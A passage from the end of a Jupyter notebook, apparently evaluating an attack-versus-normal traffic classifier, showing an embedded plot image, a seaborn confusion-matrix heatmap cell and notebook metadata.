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\n",
466 | "text/plain": [
467 | ""
468 | ]
469 | },
470 | "metadata": {},
471 | "output_type": "display_data"
472 | }
473 | ],
474 | "source": [
475 | "to_heat_map =[[tn,fp],[fn,tp]]\n",
476 | "to_heat_map = pd.DataFrame(to_heat_map, index = [\"attack\",\"normal\"],columns = [\"attack\",\"normal\"])\n",
477 | "ax = sns.heatmap(to_heat_map,annot=True, fmt=\"d\")"
478 | ]
479 | }
480 | ],
481 | "metadata": {
482 | "kernelspec": {
483 | "display_name": "Python 3",
484 | "language": "python",
485 | "name": "python3"
486 | },
487 | "language_info": {
488 | "codemirror_mode": {
489 | "name": "ipython",
490 | "version": 3
491 | },
492 | "file_extension": ".py",
493 | "mimetype": "text/x-python",
494 | "name": "python",
495 | "nbconvert_exporter": "python",
496 | "pygments_lexer": "ipython3",
497 | "version": "3.8.8"
498 | }
499 | },
500 | "nbformat": 4,
501 | "nbformat_minor": 5
502 | }
503 |
--------------------------------------------------------------------------------